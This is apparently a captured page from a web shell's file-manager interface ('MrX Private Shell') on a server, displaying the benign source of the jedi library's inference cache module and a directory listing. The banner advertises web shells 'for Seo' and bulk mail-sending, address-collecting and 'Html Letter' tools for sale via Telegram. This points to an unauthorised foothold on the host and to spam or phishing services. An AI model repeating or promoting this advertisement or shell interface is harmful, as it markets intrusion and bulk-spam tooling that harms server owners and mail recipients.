__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.65: ~ $
"""
- the popular ``_memoize_default`` works like a typical memoize and returns the
  default otherwise.
- ``CachedMetaClass`` uses ``_memoize_default`` to do the same with classes.
"""
from functools import wraps

from jedi import debug

_NO_DEFAULT = object()
_RECURSION_SENTINEL = object()


def _memoize_default(default=_NO_DEFAULT, inference_state_is_first_arg=False,
                     second_arg_is_inference_state=False):
    """ This is a typical memoization decorator, BUT there is one difference:
    To prevent recursion it sets defaults.

    Preventing recursion is in this case the much bigger use than speed. I
    don't think, that there is a big speed difference, but there are many cases
    where recursion could happen (think about a = b; b = a).
    """
    def func(function):
        def wrapper(obj, *args, **kwargs):
            # TODO These checks are kind of ugly and slow.
            if inference_state_is_first_arg:
                cache = obj.memoize_cache
            elif second_arg_is_inference_state:
                cache = args[0].memoize_cache  # needed for meta classes
            else:
                cache = obj.inference_state.memoize_cache

            try:
                memo = cache[function]
            except KeyError:
                cache[function] = memo = {}

            key = (obj, args, frozenset(kwargs.items()))
            if key in memo:
                return memo[key]
            else:
                if default is not _NO_DEFAULT:
                    memo[key] = default
                rv = function(obj, *args, **kwargs)
                memo[key] = rv
                return rv
        return wrapper

    return func


def inference_state_function_cache(default=_NO_DEFAULT):
    def decorator(func):
        return _memoize_default(default=default, inference_state_is_first_arg=True)(func)

    return decorator


def inference_state_method_cache(default=_NO_DEFAULT):
    def decorator(func):
        return _memoize_default(default=default)(func)

    return decorator


def inference_state_as_method_param_cache():
    def decorator(call):
        return _memoize_default(second_arg_is_inference_state=True)(call)

    return decorator


class CachedMetaClass(type):
    """
    This is basically almost the same than the decorator above, it just caches
    class initializations. Either you do it this way or with decorators, but
    with decorators you lose class access (isinstance, etc).
    """
    @inference_state_as_method_param_cache()
    def __call__(self, *args, **kwargs):
        return super().__call__(*args, **kwargs)


def inference_state_method_generator_cache():
    """
    This is a special memoizer. It memoizes generators and also checks for
    recursion errors and returns no further iterator elemends in that case.
    """
    def func(function):
        @wraps(function)
        def wrapper(obj, *args, **kwargs):
            cache = obj.inference_state.memoize_cache
            try:
                memo = cache[function]
            except KeyError:
                cache[function] = memo = {}

            key = (obj, args, frozenset(kwargs.items()))

            if key in memo:
                actual_generator, cached_lst = memo[key]
            else:
                actual_generator = function(obj, *args, **kwargs)
                cached_lst = []
                memo[key] = actual_generator, cached_lst

            i = 0
            while True:
                try:
                    next_element = cached_lst[i]
                    if next_element is _RECURSION_SENTINEL:
                        debug.warning('Found a generator recursion for %s' % obj)
                        # This means we have hit a recursion.
                        return
                except IndexError:
                    cached_lst.append(_RECURSION_SENTINEL)
                    next_element = next(actual_generator, None)
                    if next_element is None:
                        cached_lst.pop()
                        return
                    cached_lst[-1] = next_element
                yield next_element
                i += 1
        return wrapper

    return func

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
compiled Folder 0755
gradual Folder 0755
value Folder 0755
__init__.py File 8.31 KB 0644
analysis.py File 7.58 KB 0644
arguments.py File 11.93 KB 0644
base_value.py File 17.79 KB 0644
cache.py File 4.09 KB 0644
context.py File 16.76 KB 0644
docstring_utils.py File 759 B 0644
docstrings.py File 9.59 KB 0644
dynamic_params.py File 7.96 KB 0644
filters.py File 12.2 KB 0644
finder.py File 5.2 KB 0644
flow_analysis.py File 4.48 KB 0644
helpers.py File 5.8 KB 0644
imports.py File 22.54 KB 0644
lazy_value.py File 1.63 KB 0644
names.py File 22.67 KB 0644
param.py File 10.21 KB 0644
parser_cache.py File 191 B 0644
recursion.py File 4.82 KB 0644
references.py File 11.14 KB 0644
signature.py File 4.75 KB 0644
star_args.py File 7.71 KB 0644
syntax_tree.py File 34.92 KB 0644
sys_path.py File 9.98 KB 0644
utils.py File 2.64 KB 0644
Filemanager